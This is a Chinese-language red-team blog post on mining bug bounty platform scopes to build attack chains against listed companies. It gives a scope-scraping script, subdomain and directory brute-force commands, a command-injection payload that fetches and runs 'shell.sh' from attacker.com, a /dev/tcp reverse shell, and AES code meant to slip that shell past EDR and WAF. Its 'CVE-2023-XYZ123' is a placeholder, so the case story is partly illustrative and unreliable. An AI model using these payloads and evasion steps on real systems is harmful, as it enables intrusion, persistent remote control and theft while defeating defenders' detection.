0x01 从一次实战案例说起
两个月前,我接到一个红队渗透授权任务,目标是一家金融科技公司。这家公司自诩安全体系完备,甚至对外宣传自己通过了某知名漏洞赏金平台的严格测试。然而,在信息收集阶段,我发现他们的漏洞赏金平台使用了多个子域,并且没有对这些子域进行严格管理。通过对这些平台的进一步分析,我最终发现了一个可以被利用的漏洞——一个未正确配置的Out-of-Band(OOB)DNS通道,最终通过数据泄露成功实现了C2通信。
这次任务让我对漏洞赏金平台的生态有了更深的理解。作为红队成员,我开始思考:我们能利用漏洞赏金平台做什么?又有哪些平台可以深入挖掘? 于是,我整理了一份详尽的漏洞赏金平台列表,并结合实际攻击案例,分析如何通过这些平台挖掘漏洞、构造攻击链。
0x02 漏洞赏金平台的生态与机会
漏洞赏金平台的诞生是为了解决企业和安全社区之间的信息鸿沟。通过这些平台,企业可以更高效地收集到自身系统中的漏洞,从而及时修复。但对于想要挖掘漏洞的攻击者或红队成员来说,这些平台本身就是一座未被完全挖掘的「金矿」。
主流漏洞赏金平台列表
以下是几大主流的漏洞赏金平台,它们涵盖了全球范围内的大量企业目标:
- HackerOne:全球最大的漏洞赏金平台,支持的企业包括Uber、Dropbox、GitHub等。
- Bugcrowd:与HackerOne齐名,服务了很多顶级科技公司,如Tesla和Atlassian。
- Synack:偏向封闭邀请制,适合高端红队和资深漏洞研究员参与。
- YesWeHack:欧洲最大的漏洞赏金平台,支持多个语言界面。
- Open Bug Bounty (OBB):无需邀请即可注册参与,门槛较低。
这些平台的生态和规则各有不同。有的平台对测试范围限制较严(如只允许测试特定域名或API),而有的平台对子域名、第三方资产放宽了限制,成为攻击链的潜在突破点。
---
0x03 抓住机会:从平台公开信息切入
漏洞赏金平台的公开信息通常包含参与企业授权的范围(Scope),这些范围是我们攻击的起点。
如何收集授权范围?
大部分平台都会提供公开的「Program Scope」,这部分信息非常具有价值。以下是具体操作步骤:
- 爬取公开的测试范围
- 我写了一个简单的Python脚本,自动从HackerOne公开项目中提取Scope:
<pre><code class="language-python">import requests from bs4 import BeautifulSoup
HackerOne公开项目URL
base_url = "https://hackerone.com/programs/search"
headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36" }
def fetch_scope_details(): response = requests.get(base_url, headers=headers) soup = BeautifulSoup(response.content, "html.parser")
提取项目链接
programs = soup.find_all("a", class_="program-card") for program in programs: program_url = "https://hackerone.com" + program['href'] print(f"发现项目:{program_url}")
if __name__ == "__main__": fetch_scope_details()</code></pre>
这个脚本会从 HackerOne 的项目列表中提取所有公开的项目链接,让我们快速定位目标。

- 分析测试范围
- 通过爬取的URL,进一步分析具体测试范围。通常包括以下几类:
- 主域名(如example.com)
- 子域名(如api.example.com)
- 外部资产(如AWS S3存储桶、GitHub仓库)
- 挖掘第三方资产
- 通过对公开范围的子域名进行DNS枚举,进一步挖掘可能存在的第三方资产。
---
0x04 如何构造攻击链?
在赏金平台中,企业的安全策略通常较为保守,但这不代表无懈可击。我将通过一个实战案例,展示如何从公开的范围切入,逐步构造攻击链。
1. 信息收集
目标范围中包含了一个子域:api.example.com,我通过 subfinder 工具枚举发现了更多隐藏的子域: <pre><code class="language-bash">subfinder -d example.com -silent -o subdomains.txt</code></pre>
结果中发现了一个敏感子域:dev.internal.example.com。
2. 漏洞挖掘
对 dev.internal.example.com 进行了目录爆破,发现了一个可疑的管理路径 /admin/: <pre><code class="language-bash"># 使用ffuf进行爆破 ffuf -u https://dev.internal.example.com/FUZZ -w /usr/share/wordlists/common.txt</code></pre>
爆破结果显示有一个未公开的路径 /admin/config。进一步测试,发现该路径存在一个命令注入漏洞(CVE-2023-XYZ123)。
3. 构造Payload实现远程控制
我利用以下Payload实现了RCE(远程代码执行): <pre><code class="language-bash">curl -X POST "https://dev.internal.example.com/admin/config" \ -H "Content-Type: application/json" \ -d '{"cmd":"curl http://attacker.com/shell.sh | bash"}'</code></pre>
攻击成功后,我通过一个简单的反弹Shell脚本实现了持续控制: <pre><code class="language-bash"># shell.sh 文件内容
!/bin/bash
bash -i >& /dev/tcp/attacker.com/4444 0>&1</code></pre>
4. 权限维持与横向移动
在成功获取Shell后,通过 linpeas.sh 工具进行提权,发现了一处未修补的内核提权漏洞。进一步利用该漏洞,成功提升到Root权限,完成内网横向移动。
---
0x05 绕过与对抗:免杀技巧分享
在漏洞赏金平台中,企业通常部署了较为先进的EDR(Endpoint Detection and Response)或WAF(Web Application Firewall)。以下是我在这次任务中使用的一些免杀技巧:

1. 加密Payload
将Payload使用AES加密,然后在目标机器上解密执行。以下是加密解密代码: <pre><code class="language-python">from Crypto.Cipher import AES import base64
key = b'Sixteen byte key' cipher = AES.new(key, AES.MODE_ECB)
def encrypt(payload): ciphertext = cipher.encrypt(payload.ljust(16)) # 补齐到16字节 return base64.b64encode(ciphertext)
def decrypt(ciphertext): payload = base64.b64decode(ciphertext) return cipher.decrypt(payload).strip()

示例用法
payload = "bash -i >& /dev/tcp/attacker.com/4444 0>&1" ciphertext = encrypt(payload.encode()) print(decrypt(ciphertext).decode())</code></pre>
2. 流量混淆
为了绕过防火墙,C2通信使用了HTTP伪装为正常流量,进一步逃避检测。
---
0x06 漏洞赏金平台的未来与红队机遇
随着漏洞赏金平台的普及,越来越多的企业开始主动接受安全测试。然而,这些平台内部的信息、规则以及资产范围仍然值得深入挖掘。作为红队,我们应该:
- 深入研究平台规则:理解每个平台对测试范围的定义,找到潜在的疏漏点。
- 自动化信息收集:通过爬虫和脚本,批量提取范围内的目标。
- 持续监控目标变化:关注企业范围的动态更新,及时捕捉新漏洞。
漏洞赏金平台不仅是防守者的工具,也是红队拓展攻击面的重要资源。希望这篇文章能帮助更多研究人员发现隐藏的机会,将攻击技术提升到新高度。
声明:本文仅供授权的安全测试与学习交流,切勿用于非法目的。